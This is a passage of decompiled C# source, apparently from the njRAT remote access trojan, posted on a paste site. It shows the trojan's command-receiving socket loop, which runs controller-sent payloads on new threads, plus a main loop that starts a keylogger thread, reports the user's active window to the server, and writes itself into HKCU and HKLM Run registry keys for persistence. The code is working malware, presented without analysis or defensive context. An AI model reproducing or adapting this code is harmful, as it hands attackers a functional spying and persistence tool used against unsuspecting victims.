- while (OK.C.Available != 0)
- {
- if (num != -1L)
- {
- OK.b = new byte[OK.C.Available + 1];
- long num3 = num - OK.MeM.Length;
- if (unchecked((long)OK.b.Length) > num3)
- {
- OK.b = new byte[(int)(num3 - 1L) + 1];
- }
- int count = OK.C.Client.Receive(OK.b, 0, OK.b.Length, SocketFlags.None);
- OK.MeM.Write(OK.b, 0, count);
- if (OK.MeM.Length == num)
- {
- num = -1L;
- Thread thread = new Thread(delegate(object a0)
- {
- OK.Ind((byte[])a0);
- }, 1);
- thread.Start(OK.MeM.ToArray());
- thread.Join(100);
- OK.MeM.Dispose();
- OK.MeM = new MemoryStream();
- }
- goto IL_1B;
- }
- string text = "";
- while (true)
- {
- int num4 = OK.C.GetStream().ReadByte();
- if (num4 == -1)
- {
- goto Block_9;
- }
- if (num4 == 0)
- {
- break;
- }
- text += Conversions.ToString(Conversions.ToInteger(Strings.ChrW(num4).ToString()));
- }
- num = Conversions.ToLong(text);
- if (num == 0L)
- {
- OK.Send("");
- num = -1L;
- }
- if (OK.C.Available <= 0)
- {
- goto IL_1B;
- }
- }
- break;
- }
- Block_9:;
- }
- catch (Exception expr_1B2)
- {
- ProjectData.SetProjectError(expr_1B2);
- ProjectData.ClearProjectError();
- }
- }
- do
- {
- try
- {
- if (OK.PLG != null)
- {
- NewLateBinding.LateCall(OK.PLG, null, "clear", new object[0], null, null, null, true);
- OK.PLG = null;
- }
- }
- catch (Exception expr_1EC)
- {
- ProjectData.SetProjectError(expr_1EC);
- ProjectData.ClearProjectError();
- }
- OK.Cn = false;
- }
- while (!OK.connect());
- OK.Cn = true;
- }
- }
- }
- public static void ko()
- {
- if (Interaction.Command() != null)
- {
- try
- {
- OK.F.Registry.CurrentUser.SetValue("di", "!");
- }
- catch (Exception expr_27)
- {
- ProjectData.SetProjectError(expr_27);
- ProjectData.ClearProjectError();
- }
- Thread.Sleep(5000);
- }
- bool flag = false;
- OK.MT = new Mutex(true, OK.RG, out flag);
- if (!flag)
- {
- ProjectData.EndApp();
- }
- OK.INS();
- if (!OK.Idr)
- {
- OK.EXE = OK.LO.Name;
- OK.DR = OK.LO.Directory.Name;
- }
- Thread thread = new Thread(new ThreadStart(OK.RC), 1);
- thread.Start();
- try
- {
- OK.kq = new kl();
- thread = new Thread(new ThreadStart(OK.kq.WRK), 1);
- thread.Start();
- }
- catch (Exception expr_CE)
- {
- ProjectData.SetProjectError(expr_CE);
- ProjectData.ClearProjectError();
- }
- int num = 0;
- string left = "";
- if (OK.BD)
- {
- try
- {
- SystemEvents.SessionEnding += delegate(object a0, SessionEndingEventArgs a1)
- {
- OK.ED();
- };
- OK.pr(1);
- }
- catch (Exception expr_105)
- {
- ProjectData.SetProjectError(expr_105);
- ProjectData.ClearProjectError();
- }
- }
- checked
- {
- while (true)
- {
- Thread.Sleep(1000);
- if (!OK.Cn)
- {
- left = "";
- }
- Application.DoEvents();
- try
- {
- num++;
- if (num == 5)
- {
- try
- {
- Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024;
- }
- catch (Exception expr_14E)
- {
- ProjectData.SetProjectError(expr_14E);
- ProjectData.ClearProjectError();
- }
- }
- if (num >= 8)
- {
- num = 0;
- string text = OK.ACT();
- if (Operators.CompareString(left, text, false) != 0)
- {
- left = text;
- OK.Send("act" + OK.Y + text);
- }
- }
- if (OK.Isu)
- {
- try
- {
- if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.CurrentUser.GetValue(OK.sf + "\\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false))
- {
- OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
- }
- }
- catch (Exception expr_227)
- {
- ProjectData.SetProjectError(expr_227);
- ProjectData.ClearProjectError();
- }
- try
- {
- if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.LocalMachine.GetValue(OK.sf + "\\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false))
- {
- OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
- }
- }
- catch (Exception expr_2C3)
- {
- ProjectData.SetProjectError(expr_2C3);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception expr_2D4)
- {
- ProjectData.SetProjectError(expr_2D4);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- [DebuggerStepThrough, CompilerGenerated]
- private static void _Lambda$__1(object a0)
- {
- OK.Ind((byte[])a0);
- }
- [DebuggerStepThrough, CompilerGenerated]
- private static void _Lambda$__2(object a0, SessionEndingEventArgs a1)
- {
- OK.ED();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement